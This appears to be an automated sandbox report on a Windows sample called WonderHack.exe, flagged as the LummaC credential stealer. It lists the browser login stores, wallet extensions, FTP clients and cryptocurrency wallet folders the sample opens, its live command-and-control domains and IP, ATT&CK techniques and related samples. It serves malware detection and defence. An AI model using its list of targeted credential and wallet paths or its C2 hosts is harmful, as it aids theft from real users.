Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2145458267.0000000002C66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: WonderHack.exe PID: 6152, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: WonderHack.exe PID: 6152, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	4 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
WonderHack.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://undesirabkel.click/api	100%	Avira URL Cloud	malware
https://undesirabkel.click/x	100%	Avira URL Cloud	malware
https://undesirabkel.click/apiteCm	100%	Avira URL Cloud	malware
https://undesirabkel.click/3	100%	Avira URL Cloud	malware
https://undesirabkel.click/apid	100%	Avira URL Cloud	malware
https://undesirabkel.click/	100%	Avira URL Cloud	malware
https://undesirabkel.click:443/apiicrosoft	100%	Avira URL Cloud	malware
undesirabkel.click	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
undesirabkel.click	104.21.30.13	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
undesirabkel.click	true	Avira URL Cloud: malware	unknown
scentniej.buzz	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
https://undesirabkel.click/api	true	Avira URL Cloud: malware	unknown
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high
hummskitnj.buzz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://undesirabkel.click/x	WonderHack.exe, 00000003.00000003.2189316643.0000000002C6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	WonderHack.exe	false		high
http://ocsp.entrust.net02	WonderHack.exe	false		high
http://www.entrust.net/rpa03	WonderHack.exe	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aia.entrust.net/ts1-chain256.cer01	WonderHack.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apiteCm	WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://undesirabkel.click:443/apiicrosoft	WonderHack.exe, 00000003.00000002.2217348054.00000000053A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/	WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000002.2216284004.0000000002C6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/ts1ca.crl0	WonderHack.exe	false		high
https://support.mozilla.org/products/firefoxgro.all	WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apid	WonderHack.exe, 00000003.00000003.2113186006.00000000053A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	WonderHack.exe	false		high
https://undesirabkel.click/3	WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.entrust.net/rpa0	WonderHack.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.30.13	undesirabkel.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581508
Start date and time:	2024-12-27 23:14:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WonderHack.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 53 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: WonderHack.exe

Simulations

Behavior and APIs

Time	Type	Description
17:14:56	API Interceptor	8x Sleep call for process: WonderHack.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.30.13	https://ffm.bio/wilmingtonfirm	Get hash	malicious	Unknown	Browse
104.21.30.13	Linux_x86	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	phish_alert_iocp_v1.4.48 - 2024-12-27T140703.193.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	104.21.73.97
	NewSetup.exe	Get hash	malicious	LummaC	Browse	172.67.157.249
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.60.24
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.58.80
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	solara-executor.exe	Get hash	malicious	Unknown	Browse	172.67.75.163

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	NewSetup.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.30.13
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	search.hta	Get hash	malicious	Unknown	Browse	104.21.30.13
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.30.13

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\WonderHack.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Reputation:	low
